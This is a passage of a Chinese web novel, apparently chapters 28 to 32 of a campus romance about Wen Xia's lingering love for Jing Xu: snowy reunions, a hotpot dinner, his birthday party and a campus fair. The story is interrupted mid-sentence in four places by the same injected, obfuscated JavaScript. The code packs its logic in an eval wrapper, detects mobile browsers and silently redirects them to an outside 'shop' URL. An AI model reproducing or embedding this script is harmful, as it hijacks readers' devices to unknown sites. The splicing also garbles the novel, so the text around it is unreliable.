可那一秒她明白,即使遇到再多人,也不会有一个,能抵得过很多年前的那个夏天雨幕里的少年。 - 温夏和景栩能接触的机会并不多,两人为数不多的交集,就是他偶尔点赞她的朋友圈。 最近的交集,是她大四拿到还不错的实习机会,拿到工牌的第一天发了条朋友圈,他评论了一条“恭喜”。 在树阳的时候,她还能通过林婆婆知道他生活零碎的一角。而现在,他仍一条朋友圈都没发,她和林婆婆也早在他们从树阳搬走时就没了联系。 相比之下,她对他的现在一无所知。 每每想到这个,温夏心里都会和升起一种不可名状的挫败感。 堰青的冬天仍早早就来了,温夏实习的第二周,堰青气温骤降。 实习生在公司一向是被欺负的存在,何况温夏这种脾气很好的人。从实习第一天开始,她每天都被迫加班。 温夏早餐吃了一个面包,一直忙到现在都没再吃一口东西,她饿极了。 公司楼下有一家面馆,听同事们说味道不错,她从来没去过。今天难得按时下班,她出了公司就直奔面馆。 正推门进去,手机响了。 她接起:“湘湘,怎么了?” 温夏的第二个“湘”字淹没在陈湘的哭声里:“夏夏,我活不下去了,太恶心了。” 好不容易憋出这句,说完又开始哭。 陈湘找的实习公司离学校很远,只能出去租房。她只能租最差地段的最便宜的房,房间很窄,放了一张单人床和一张破旧的单人沙发,就很难容下其他。房间里没有空调,陈湘也交不起供暖费。 她总说温夏很幸福,她实习的公司离学校近,公交通勤一个半小时,吃住都在学校,和平时没什么区别。 但她平时也只是发消息说一两句也就没下文了,今天在这个点打电话过来,估计也是真的到了难以忍受的地步。 她说房间里出现很多虫子,墙上和床上都是,边和温夏打电话边吐。 温夏从面馆退出来,拦了辆车去找陈湘。 温夏把她接回了宿舍,让她先洗澡。 陈湘衣服不多,全搬去出租屋了,温夏给她找了一套睡衣,站在洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341030|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手间外递给她:“你吃晚饭了吗?” “还没。” “想吃什么,点外卖。” 陈湘冲着澡,情绪稳定了点:“算了吧,外卖太贵了。你可以去一食堂帮我买碗素粉吗?” 温夏在脖子上套了围巾出门,想了想去了美食城。 因为天气冷,加上已经过了晚饭时间,这会儿校园里人并不多。 今天下了一整天的雨,有一瞬间温夏以为自己是在过树阳的冬天。 走到美食城门口,温夏身边走过一群人。 他们很热闹,其中一个头上戴着寿星帽,估计是生日派对刚结束。 戴寿星帽的人有些眼熟,她没怎么在意,去了陈湘平时最爱去的那家粉面馆,买了两份陈湘最爱的牛肉面。 从美食城出来,她看见刚才戴寿星帽的人,刚才簇拥着他的那群人已经不见了。 身边站了景栩。 她终于想起寿星是谁。 宋陆鸣。 和在树阳时见他相比,他的穿衣风格更加大胆,五官似乎更加成熟……温夏并不确定,因为那时候的她,注意力全在另一个人身上。 两人不知道说了什么,宋陆鸣偏头点了根烟。 就这一偏头,他看到不远处站着一个姑娘,提着两个白色塑料袋,袋子里也不知道装了什么东西,撑个伞站在门口也没动。 好像是在看他们这边。 虽然隔着距离,加上灯光昏暗,他根本没法看到她的眼睛,但他莫名感觉,姑娘眼神比这大冬天的雨还戚戚。 别是他的某一任前女友吧? 她记得这也不是他喜欢的款,更何况他每一任都给足了分手费。 不至于这样吧? 景栩说着话发现宋陆鸣心不在焉了,话语一顿顺着他的目光看过去,看到站在不远处的温夏。 他抬手打了个招呼,宋陆鸣的目光在两人之间来回打转:“哦,原来不是我伤的。是你这个王八犊子。” 景栩:“……” “你在京北的情债?”宋陆鸣欠欠儿的。 景栩听不下去,给了一记手肘警告。 此时温夏也从马路对面走到他们面前:“景栩。” “温夏。”景栩喊了声。 只是再平常不过的一声,温夏握着伞柄的指尖却颤了颤。 宋陆鸣听到这个名字,愣了一下,显然已经不记得她这号人了。 在他认识的人里,温夏实在过于普通。好几秒后他才反应过来:“树阳那个小学霸?变化挺大啊,我都没认出来。 “你在堰青上学啊?” 景栩冷哼一声:“人跟你同校快四年了。” 宋陆鸣尴尬挠头,看到她手里的东西:“你还没吃完饭吗?今天我生日,等会儿去云九香聚,要不要一起。” 温夏摇头:“不了,我今天还有点事儿。生日快乐。” 话音刚落,两辆车停在他们前面的路口,车窗降下,有人喊了声:“栩哥,陆哥,走了。” 宋陆鸣抬手表示听到了,走之前他说:“那下次有机会再一起吃饭。” “好。” 景栩适时出声:“先走了。” “嗯。”温夏握住伞柄的手紧了紧,“再见。” “再见。” 再见。 是有机会再见的吧? 她看着他的背影想。 沿路上去是路灯,他就这么踏着灯光一步一步往前走,离她越来越远,越来越远。 时隔多年。 困住她青春的人,好像还是没能回头看她。 他走到第三盏路灯的时候,忽然下雪了。 这是今年的初雪。 是她身边有景栩的,第一场雪。 29. 29 她就站在原地,看着他走远。 纷扬的雪将他的背影模糊,温夏没像之前的每一次一样等着他的身影完全消失才收回视线,她手里是买给陈湘的晚餐,今天有比他重要的人。 温夏回来,陈湘正好吹干头发。 陈湘闻到牛肉粉的味道,看到包装,鼻尖忽然有些酸。 她从小被周围的人夸听话懂事,几乎不敢表达自己的任何情绪,以为只要乖就能处理一切事情。可上了大学发现不是,她努力改变,却发现很多事情无能为力。 曾经她以为温夏和她是一样的人:她们都来自小县城,都是别人口中的乖学生,在很多事情上同样温顺木讷。 时间长了她发现不是这样。 温夏或许在某一程度上她算得上乖巧,在重大时刻却表现的极有主见和想法,不会受别人干扰。 比如现在,如果出去的是她,她一定会规规矩矩地拎着素粉回来,即使她真心把温夏当朋友,即使她同样不计较为好朋友多花几块钱买牛肉粉。 她常把“谢谢”和“不好意思”挂在嘴边,此刻面对温夏,却半个字都说不出来。 晚上两个姑娘聊了很多,陈湘说自己其实没什么特别大的理想。她原本是想一所师范院校,填青外完全是因为老师和父母完全忽略了她的教师梦,他们觉得有名校光环,以后更好在大城市就业。 她还说,等毕业想回老家,再也不想做一个听话的乖乖布偶。 陈湘说着说着睡着了,温夏却毫无困意。 夜越来越静,她脑海里全是刚才景栩的模样—— 他那双眼睛没怎么变,岁月在里面沉淀了些东西,却依旧澄澈明亮。明明身着一身褐色长衣,她却觉得看到了在树阳小县城里,那个穿着一身清爽白衣的少年。 昏黄的灯光像是为他镀上一层电影滤镜,他转身往前走的那几秒,像一个温柔的长镜头。 在肃冷的隆冬里。 他像一个。 生机勃勃的春天。 或许是这一幕过分浪漫,她在理性崛起前先喊了他的名字:“景栩。” 她看见他步子一顿,慢慢回头,视线落在她身上。 她说:“下雪了。” 她说:“这是今年堰青的初雪。” 景栩垂眸笑起来:“是啊,下雪快乐。” “你也是。” 她思绪乱七八糟。 她居然和宋陆鸣在同所学校,像宋陆鸣这样的人,在青外应该挺有名的。她打开了几乎从来不看的学校表白墙,翻了很久,发现宋陆鸣在上面出现过几次。 在关于他的帖子下,讨论最多的是他的感情和家世,总结下来是——有钱且舍得的花花公子。 她找到他社交平台的账号,企图找到这些年景栩生活的蛛丝马迹,可是很少。 景栩只在他的视频里出现过一次,是去年元旦节。 应该是一次规模较大的聚会,定位是在国外。视频里的景栩在打架子鼓,只有几秒的镜头。 这是她第一次看到他这么玩乐器的模样。 她把有他的那几秒看了又看。 不知道多少个几秒过去,天已经快亮了。 她听到陈湘起床的声音,索性也爬下床,简单收拾一番后,两人一起出了门。 两人搭了不同线路的公交。 快到晚饭时间,温夏被派去送份文件,她记得陈湘的公司好像就在附近。 她有点担心陈湘的状态,这会儿过去正好看看她,陪她吃个晚饭。 送完文件出来,温夏按着定位去了和陈湘约好的那家火锅店。 她刚坐下就听到自己的名字。 很轻很短促的两个字。 她却在一瞬间就辨别出来是谁。 她调整自己的心跳和表情:“景栩,这么巧啊。” 宋陆鸣也在,他做了个“salute”的动作:“温同学,好巧。” 打完招呼后,他问:“你们几个人?” “两个。” “不介意的话,拼个桌呗?”宋陆鸣说。 温夏怕陈湘不自在,正想拒绝,就听见她说:“好啊,人多热闹嘛。” 宋陆鸣就近坐在了陈湘身边,景栩则走到温夏身边坐下。 也不知道为什么,温夏在面对景栩的时候,大脑会短暂地空白,对外界的所有反应会不受控制地慢半拍。 过了好一会儿,她才想起在她来之前,陈湘怕她等,已经先点好了锅底:“你们能吃辣吗?我们之前点好了。” 宋陆鸣表示自己无辣不欢,景栩则淡声道:“都行。” “那再点些菜,你们看看想吃什么。”陈湘扫了码,把手机递给他们。 温夏像个等待输入指令的人机,一句话都没说。 而等到宋陆鸣对着陈湘说完“我叫宋陆鸣,他是景栩”后,她才反应过来,作为在场三个人的共同好友,她应该介绍他们认识。 这顿饭吃下来,温夏了解到景栩回堰青实习,而实习地点就在她今天送文件的公司的楼上。 席间,宋陆鸣是活跃气氛的那一个。 老友相逢难免提起从前,宋陆鸣说温夏变化很大。 她五官其实没怎么变,但看起来比之前漂亮许多,穿衣服的风格和之前相比也大相径庭。她似乎更加温和沉静,和他们相处起来也不似从前那般紧绷,但依旧呆呆的,好像她的反射弧比常人要长些。 景栩请她帮忙拿纸巾,她顿了两秒才有所反应。 他们做在大堂,人来人往。吃到一半,从温夏身边走过去几个醉汉。 没多久那几个人走回来,其中一个状似无意从温夏身边走过,用大腿去蹭温夏的手。但这个触感也只是一瞬,他全程没有看温夏一眼,温夏就当他是因为喝醉了,没注意。 但没想到,因为温夏什么都没说,他们胆子大了起来,又折回来,再次用身体去贴近温夏。 偏偏他们相互打着掩护,除了当事人,其他人根本看不出什么。 仿佛他们只是打闹着从她身边经过,并不在意自己经过了谁。 温夏看他们再次折回来,正想怎么办的时候,景栩忽然起身:“温夏,我坐里面不太舒服,可以和我换个位置吗?” 宋陆鸣边捞着毛肚边吐槽他:“你一大老爷们儿哪有那么多讲究,这都快吃完了犯什么少爷病。” 景栩趁他不注意把毛肚夹走,学着他欠揍的语调:“乐意,管的着?” 温夏抬头看他,发现他正盯着刚才那群人看。 他不是真的想换座位。 他察觉到了她的窘迫和害怕,察觉到了那群人不怀好意,所以才换。 温夏起身和他换了位置:“谢谢。” 宋陆鸣盯着自己被夺走的毛肚咬牙切齿:“温同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370092|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,你跟畜生道什么谢。” “……” 吃完饭四个人往外走。 景栩很绅士地问两位女士住哪,他和宋陆鸣送她们回去。 两人拒绝了:“不用麻烦了。” “不麻烦。”景栩说,“现在挺晚了,不安全。” 见她们没再拒绝,景栩才道:“你们稍微等一下,我把车开过来。” 宋陆鸣看了眼手机,他正好有个局,让景栩把她们安全送到家。 景栩和宋陆鸣离开后,陈湘轻轻撞了一下温夏:“我们对你误解挺深呐。” 温夏不明所以,一脸疑惑地看向她。 陈湘:“原来你不是没有喜欢的人哦,只是我们一直没见过。你喜欢那个叫景栩的吧。” 温夏心虚地移开眼:“你别乱说。” 陈湘凑得更近了些,调侃道:“你刚坐下,听到温夏两个字,头都没回就说景栩好巧;吃饭的时候,某人反应迟缓,平时和我们出去吃饭也不见你这样,今天像个呆瓜一样……男色真是害人不浅啊。 “我刚才看到他的手机壳也是KevinDurant,你俩用的情侣款哦。” 温夏正想说什么,被一声鸣笛打断了。 陈湘看着停在不远处的那辆黑色G63,挽着温夏的手走过去:“我看网上说这车挺贵,我也是享受上了。” 两个姑娘上了后座,景栩问:“温度还好吗?” “还好。” 陈湘懂分寸,刚才她说的那些逗温夏的话,在景栩这儿半句没提。 景栩先送完陈湘才送温夏。 送温夏回青外的路上,两人没什么交流,一路上都很安静。 刚才没觉得,过了一个红绿灯后,温夏有些冷。但她没好意思开口让他把空调调高点,就轻轻环住手臂,想着忍忍就到了。 几分钟过去,她没觉得冷了。 是景栩调高了空调温度。 她看着方向盘骨节分明的手,小声道了谢。 景栩被她逗笑:“明明一点儿没变。” 这句话像一颗石子投进温夏心里,涟漪微小却持久。 她在他心里,似乎,并不像她想的那样毫无痕迹,至少他记得她叫温夏,记得她某一方面的特性所以才说她没变。 她庆幸此时他看不到她的脸,否则他一定能看到慌乱和窃喜。 要是被陈湘知道,一定笑话她没出息。 这么容易就被别人牵动了情绪。 她暗自调整着状态,憋了好久才问:“林婆婆最近怎么样?” “挺好的。”景栩顿了一下说,“刚回堰青那阵儿总念叨你。” 温夏也挺想老人家的,几乎没有任何思考她就问出口了:“如果方便的话,我可以去看看她吗?” “可以吗?你方便的话,随时欢迎。” 昨天下过雪后,路面积了些雪。 从火锅店出来那会儿又开始下,温夏下车前,鼓起勇气说了句:“你开车小心,到家报个平安。” 温夏是在一个小时后收到景栩消息的,只有两个字:【到了。】 她却看着这条消息不自觉傻笑。 看着镜子里自己笑脸的时候,脑海里突然想起陈湘的那句“男色害人”。 她拿出笔,又拿了一条绿色长条纸,写下一句—— 【景栩,今年我还喜欢你。】 30. 30 之后温夏没再见过景栩,再次见到他,是圣诞节。 今年堰青圣诞节不似往年热闹,街道上的圣诞装点也少了。 平安夜当天,同事给她塞工作的理由都是“要约会”。 温夏孤家寡人一个,但这也不是什么必须要帮他们完成工作的理由。但她懒得在这种事上与人掰扯,就答应下来。 和她一起加班的还有同期的一个女生。 但两个小时后,她也走了。 温夏做完所有事儿,在工位上伸了个懒腰,瞥了眼墙上挂着的时钟。 已经过了零点。 出了公司,走到一个岔路口,一辆机车从她身边呼啸而过。 坐在后面的人朝后看了眼,没过多久那辆机车折返回来。 他们朝她吹口哨,机车的油门拧了又拧,发出几声轰鸣。 温夏皱眉,没理他们,往人多的地方走。 他们干脆下了车跟着,即使是在最热闹的地方,他们也丝毫不惧。 在某个路口,他们一前一后拦住温夏,但碍于人多,他们也只敢吹流氓哨,说一些不堪入耳的浑话。 温夏也不恼,故作淡定地往前走。 公安局就在不远处,这一段是繁华地段,他们不敢做什么。 只是还没等她走到公安局,先遇到了景栩。 准确来说,是景栩先看到了她,先出声喊了她的名字。 温夏朝旁边看去。 他正好站在路灯下,温夏看不清他的脸,却在那一刻觉得无比安心。 他踩着灯光一步一步朝她走来。 初雪那晚,他也是这样踩着灯光,只不过,这次是离她越来越近。 他完全忽略了那两个男人,极为自然地走到她身边,语气熟稔:“不是说等我们过去接你吗,怎么先出来了。” “我们”这个词说完,温夏才看到他身后还站了一个人。 那个男生手里也拎了两瓶饮料。 温夏敛眸,随即动作自然地从景栩手里拿过一瓶饮料:“我想着你们少走点路。” 看到景栩他们,那两个男生也没再有动作,在原地站了会儿后,朝着和他们相反的方向走了。 那两个男生走远,温夏把饮料还给景栩:“谢谢,耽误你们了。” 景栩看她这样,似乎有些不高兴。 语气却依旧温柔:“回青外?” “嗯。” “先送你回去。” “不用……”麻烦了。 话还没说完,景栩打断:“走吧,送你回去。” 说完,他把手里的东西交给了同行的男生:“你先回去。” 那男生接过饮料,上下打量着温夏:“刚你要走的是公安局的方向吧?看起来温顺无害,没想到……” 景栩冷声打断:“我们并不是很熟,只是恰好因为同一个朋友,而有了几面的交集,请你不要拿我朋友开玩笑。” 男生立即冷笑一声:“我还没说什么吧?” “你什么都不用说。”景栩大概之前就对他不太爽了,在与人相处时,他少有地露出锋利的一面,“她只是在遇到危险时采取了方法保护自己。你不应该对她的行为施加任何评价。她没有强行要求你理解和尊重,你也不该拿她的困境、恐惧和她自我保护的方式,来开任何玩笑。” 男生没想到景栩会这么较真,或许是碍于他们之间“共同好友”的面子,也没再说什么。 温夏就站在他的侧后方。 她现在,似乎心甘情愿做扑火的飞蛾了。 - 那天之后,她和景栩没怎么联系。 圣诞过后没几天就是他生日。 那天她熬到凌晨,她早早编辑好了祝福短信,本来想卡点给他发过去,但这句“生日快乐”只存在于自己的对话框,始终没敢发。 一直到下午,那句“生日快乐”仍只存在于编辑状态。 她没想到,傍晚时收到景栩的消息:【忙吗?】 收到这条消息的时候她正在工作群回复“收到”,看到消息弹出来时,她指尖颤了一下,手机差点没握稳。 她回:【不算忙。】 这次景栩发过来几条语音,温夏眨眨眼,悄悄掐了掐自己,有痛觉。 所以景栩真的给她发了这么多条语音。 从他们加上微信,聊过的天屈指可数,每次都是简短的文字消息,今天有些反常。 她从工位上拿了耳机戴上,点开语音却是林婆婆的声音:“是夏夏吗?我说让景栩给你打个视频,他说怕你不方便。” “好久没见了,你最近怎么样呀?” “听说你在青外,怎么都不来看看我,婆婆很想你的。” 温夏一条一条认真听完了。 没来得及回复,景栩消息又弹出来:【如果今天方便的话,来家里吃顿饭?】 【但今天家里人有点多,你不介意的话可以过来。】 温夏知道他怕自己尴尬,所以特地解释了这句。 今天是他生日,他本就是众星捧月的存在,生日会人不会少。 她思忖几秒,抿着唇回: 【方便的。】 【帮我转告林婆婆,我也很想她。】 温夏刚放下手机,就有同事过来让她帮忙翻译文件,没多久又过来一个让她帮忙整理会议记录。 往常这种活儿温夏默默接下了,但今天不一样,她酝酿两秒,拒绝了所有莫名扔过来的杂活,然后盯着时间,到下班时间就溜之大吉。 她知道今天是景栩生日,所以特意去商场逛了一圈。 挑来挑去,她咬牙用一个月的实习工资给他买了一个篮球。之后又去给林婆婆挑了些礼物,才问景栩要了地址。 到打目的地后,她在门口站了会儿,才抬手按门铃。 开门的是景栩。 他把她往里领,穿过一条不长不短的走廊,她听见里面的热闹。 按里面的热闹程度,她应该算来得晚的。 她不知道自己在害怕什么,把礼物提前给了他:“生日快乐。” 景栩接过礼物盒,有些不好意思:“没告诉你就是怕你买礼物。” 正好林婆婆走出来:“夏夏来啦?快进来。” 温夏一如当年那样,乖巧跑到林婆婆身边,把给她挑的礼物递过去:“是给婆婆挑礼物的时候,顺便给你挑的。” 景栩无奈笑笑,正好客厅里的人注意到这边,招呼着温夏过去玩。 圈子里进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409536|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了新人,大家都很好奇,拉着温夏问东问西,一个劲往她面前放零食、水果和饮料。 大概是察觉到了温夏性格一下子没办法融入他们,热情就稍稍减少了些,但还是不停往她面前放食物。 大概是谁看出她有点冷,便调高了空调温度。 他们聊天的时候会尽量带着她,深怕她感受到冷落…… 林婆婆坐在他们中间,他们聊柏拉图,聊历史,聊篮球明星,聊各自的专业领域,也聊一些情感八卦…… 原来他的朋友们是这样的。 和他一样是温暖美好的人。 这场生日会结束得早,林婆婆留温夏聊了会儿天,还想留她在家里住一晚。 温夏没好意思真的住下,看时间差不多了就起身告别。 景栩在老人家开口前就自觉走到玄关处,穿上外套,钥匙在他手里被抛高后又问问落入他手中:“我送你。” 以前几次的经验来看,温夏拒绝不了,这次索性也不再推辞:“麻烦了。” 景栩把温夏送到宿舍楼下,等温夏走后才下车点了支烟。 温夏从二楼往下看,看到有人和景栩搭讪。 就半支烟的功夫,已经有四个了。 第四个没走多久,第五个就来了。 那人她认识,叫初盈。 是外语系最出名的人之一。 初盈棕栗色的波浪大卷,腰肢盈盈,风情万种。偏那双眼干净灵动,似不谙世事的小鹿。 他们都说,不会有人拒绝初盈。 初盈走到景栩身边,晃了晃手里的女士香烟,嗓音软软:“帅哥,借个火。” 景栩从兜里摸出打火机,递给她。 她嘴角噙着笑,从盒子里抽出一根咬在嘴里,同时身体微微前倾,媚眼如丝:“帮我点。” 景栩往后退了一步:“抱歉。” 初盈步步紧逼,抬手将长发轻轻拨了一下:“这么不解风情啊?” 景栩将打火机收起来:“不好意思。” 初盈有些恼火,穿着细高跟的脚一跺,“切”了声后,很有骨气地走了。 景栩抽完剩下的半支烟就走了,温夏却在二楼窗口处站了许久。 她站在二楼,根本听不见他们说了什么,但从来没被人拒绝过的初盈,应该是被景栩拒绝了。 晚上温夏翻来覆去睡不着,脑海里循环播放景栩今晚被搭讪的画面。 她知道景栩这样的人,少不了人喜欢。 但亲眼看到了,心里还是会不舒服。 到凌晨她终于睡着,却做了一个梦。 是一个像极了八音盒上,水晶球里的童话世界。 初盈是公主,景栩是王子。 梦的最后王子理所应当地亲吻公主。 她站在童话世界之外,看着景栩离初盈越来越近,越来越近…… 在他们唇瓣相触的那一秒,温夏惊醒过来。 从大四实习开始后,宿舍里只剩下她一个人。 空荡荡的宿舍里,她听见自己的喘息声。 醒来后一直在回放刚才梦里的“童话故事”。 然后。 她脑海里冒出一个可怕的念头。 她想将景栩,据为己有。 31. 31 温夏被自己的想法吓了一跳。 她爬下床开了灯,开完才想起宿舍熄灯了,这会儿没电。 她打开手机电筒,借着光亮走到洗漱台,胡乱洗了把脸,想让自己冷静下来。 可不知道人是不是在晚上容易胡思乱想,一闭眼脑海里就自动浮现景栩被搭讪的一幕幕。到后来,甚至开始脑补她没见过的搭讪画面、想象搭讪他的不同女生。 到最后,她总无端地想象,景栩有了女朋友之后的模样。想像他们牵手拥抱、彼此相爱的画面。 她受不了。 她头一次感受到如此强烈的嫉妒。 她嫉妒那些可以对他大方表示爱意的人,也嫉妒以后站在他身边的人。 于是,“把景栩占为己有”的想法越来越强烈。 似春天竞相抽芽而发出巨大响动的公园,不止不息。 人在极度想做一件事的时候,是会给自己找借口的。 温夏花了一个晚上劝自己“和他不会有结果,尽早遏制自己不切实际的想法”,却在第一缕阳光落在宿舍阳台时,脑海里猝不及防地冒出一句大写加粗的话。 “这束光太珍贵了,我想试着抓住。” 想起生日会上,他朋友们对他的调侃。 他还是单身。 所以。 她也不是完全没有机会。 温夏出门时,世界已全然亮起日光。 她抬头看了眼太阳。 冬日的阳光没这么温度,却仍叫人不敢直视。 本学期接近尾声,她的实习生活今天过后也正式结束。 今天和往常没什么不同,她拿着东西走出公司。本来以为她今天的心情也会和往常离开公司时的心情一样,但在公交缓缓驶过那幢大楼时,心里还是五味杂陈。 陈湘早在三天前就结束了实习,搬回了宿舍。 温夏和其余两人都在今天才结束。 温夏回去的时候,朱源松和孙洁妮已经在了。 陈湘帮她接过手里的东西:“夏夏,今晚去云九香,庆祝咱短暂脱离苦海。” 朱源松走过来:“刚才还在这因为论文要死要活,这会儿就脱离苦海了?” “你懂个屁。” 于是两人不出意料地打起来,温夏在一边看戏,她们俩这相处模式,从大二就开始了。 一般以朱源松不敌陈湘而求饶结束。 等她们闹够,温夏才缓缓出声:“现在还早,我收拾一下,休息好再出去。” 因为公司离学校近,温夏要收拾的本就不多。 她洗了个澡,陈湘见她休息得差不多了,才道:“走吧。” 温夏换了身衣服,发现今天孙洁妮安静得有些过分,戴着耳机在追剧,整个人看起来不太高兴。 她一直没动,也不知道听没听到陈湘的话。 温夏也没多想,正想叫她,却被陈湘拦住:“她不去。” 温夏疑惑,却什么也没问。 朱源松很明显也一脸茫然,走出宿舍后她才问:“怎么了?” 陈湘没忍住翻了个白眼:“咱们把人家当室友,人家处处背后咱坏话。她说我乡下人,野蛮粗俗。我呸,公主命没有,病倒一大堆。 “之前总让我们给她拿快递也就算了,没想到她居然这么过分。 “朱朱不是总请我们吃东西吗,她在外面逢人就说那些东西是吃剩下才给她的。但每次她都吃的挺开心啊,还宝贝长宝贝短你真好,早知道给狗吃都不给她。 “夏夏之前不是给她接了次热水吗?我也是今天才知道,她到处跟别人说夏夏故意接那么烫的,想烫死她。她是不是脑子有问题? “刚刚我说宿舍的厕所的垃圾轮流倒,她说不,她不想倒,咱们仨轮流就行,哪有她这样的?” 陈湘越说越气,语调也越来越高。 孙洁妮总跟男朋友抱怨室友不好相处,细数了每个人的毛病。 无数次失眠夜,温夏夜夜都听到这些吐槽和不满。 温夏早就知道孙洁妮不是个好相处的人,但她没必要挑起纷争,平静度过四年也就分道扬镳,大家井水不犯河水。没想到临到毕业,还闹这么一出。 温夏安抚着陈湘,让她消消气。 云九香今天人出乎意料的多,她们拿了号,起码还得等两个小时。 最后陈湘决定不等了,拉着温夏和朱源松去了一家烧烤店。 陈湘刚坐下,就说:“我想好了,我要回老家。” 这个话题开启得猝不及防,温夏和朱源松都没说话。 陈湘开了罐啤酒:“其实我也不是吃不了苦,我是实在不喜欢我妈口中说的那种所谓大城市的生活。之前出租房有虫给你们打电话,也不是因为虫子。我家里的虫比这多多了。 “那天是因为我给我妈打电话,说我想回老家,她破口大骂。要多难听有多难听,好像我不是她亲生的。 “她说我堂姐争气,在堰青买了车和房,我伯伯有面子。而她因为我,在亲戚面前抬不起头来。 “我想明白了,我也该为自己的人生做一次选择。” 说完,气氛陷入长久的沉默。 勇于挣脱桎梏的人固然勇气可嘉。 可摆脱父母对世俗意义上成功的追求,拒绝了人生前二十几年一直安排自己的人,同样是一个值得嘉奖的勇士。 不知过去多久,温夏和朱源松同时举起饮料碰了碰陈湘放在桌面上的啤酒,异口同声道:“恭喜湘湘。” 吃完饭他们去了学校广场的集市。 集市上每个月都会有人摆摊,听说主要是学生会的成员,所得收益都会以学生会的名义捐出去。 三个人转了一圈,走到最里侧时,发现一群人正在摆放架子鼓。 他们身后,是许多大小不一的毛绒玩具。 其中一个剪了短寸的男生看到她们,走过来介绍道:“同学你好,我们是律动社的,我是新任社长。打一次架子鼓得送一个娃娃。” 陈湘看了看那些娃娃,里面甚至还有和一些奢牌口红的联名款,眨着眼:“你们真会做生意。” “没办法,社团没怎么来新人,当宣传宣传了。”短寸男生说。 话音刚落,陈朝不知道从哪冒出来:“温夏?好久没见了。” 陈朝去年就毕业了,后来听说考研本校,现在在这遇到也不奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445391|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温夏浅浅一笑,算作回应。 寒暄几句过后,温夏要走,却被陈湘一把拽住:“夏夏,我喜欢那个丑兮兮的娃娃。” 温夏:“……” 陈湘撒着娇,“夏夏最好了,就随便敲一首曲子就行了。” 温夏倒没觉得有什么,便答应下来。 她自从遇见景栩后就没再去练过,现在都感觉有点生疏。 但熟悉了会儿,她动作流畅地演奏完了一整首曲子。 短寸把陈湘看中的丑娃娃拿给她,转而看向温夏:“同学,有没有兴趣加入我们社团?” 陈湘在一旁笑出声:“同学,这是你学姐,还差几个月就毕业了,之前就是你们社团的。” 短寸男生有些尴尬,却拿出手机:“是吗,我还以为是学妹。那加个微信可以吗,有空可以一起玩。” 温夏连忙摆手,短寸男生却越走越近:“加一个吧学姐。” 温夏连连后退了几步:“不了不了……” 说完转身就走。 却在猝不及防间撞到了人。 她嗅到极淡的橡木苔味道,没来得及辨别什么,就听见另一个声音:“温夏,晚上好啊。” 她目光偏去,宋陆鸣正欢快地和她打着招呼。 再抬头一看,她撞到的人果然是景栩。 她下意识大脑短路,一句“对不起”好半天没憋出来,尴尬对视半晌,她说了句:“你也来散步啊?” 景栩愣了一瞬,随即无奈流出一个笑容,却能听出他强压的笑意:“是啊,来散步。” “……” 温夏觉得不能再尴尬下去,心一横往前走,没多久宋陆鸣和景栩跟上来。 宋陆鸣一直嘴欠:“没想到你还会架子鼓啊?你刚才打鼓简直帅炸了好吧!那个小学弟差点给你跪地唱征服。” 温夏停住脚步,像个机器人一样的看向他:“……你们,看见了?” “对啊。”宋陆鸣没察觉到什么不对劲。 温夏目光不着痕迹地掠了景栩一眼,莹白耳垂不争气地在一瞬间红了个彻底。 她或许这几年逐渐自信。 在面对景栩时,还是不知道什么样的状态才最自然。 看到朱源松和陈湘也过来了,温夏拉着她们赶紧走了。 看着她着急忙慌的背影,景栩忽然笑出声。 宋陆鸣挑眉,手肘搭在他肩上,视线始终追随着逐渐远去的温夏:“笑什么?” 景栩并未收起笑意,只淡淡说了句:“没什么。” 他以前不知道,温夏还有这样的一面。 记忆里的温夏,温吞内敛,和他说句话都目光闪躲,好像他是什么凶煞的玩意儿。 她打架子鼓的时候,展露出少有自信的一面。眉眼弯弯,动作流畅而大方,自信张扬到好似每一寸灯光都是为她撒的。 那是他从未见过的温夏。 这份自信却在见到他的时候尽数缩了回去。 像含羞草猝不及防地被人触碰的瞬间。 笑什么呢? 不知道。 大概是觉得。 温夏原来是挺可爱一姑娘。 32. 勇敢者 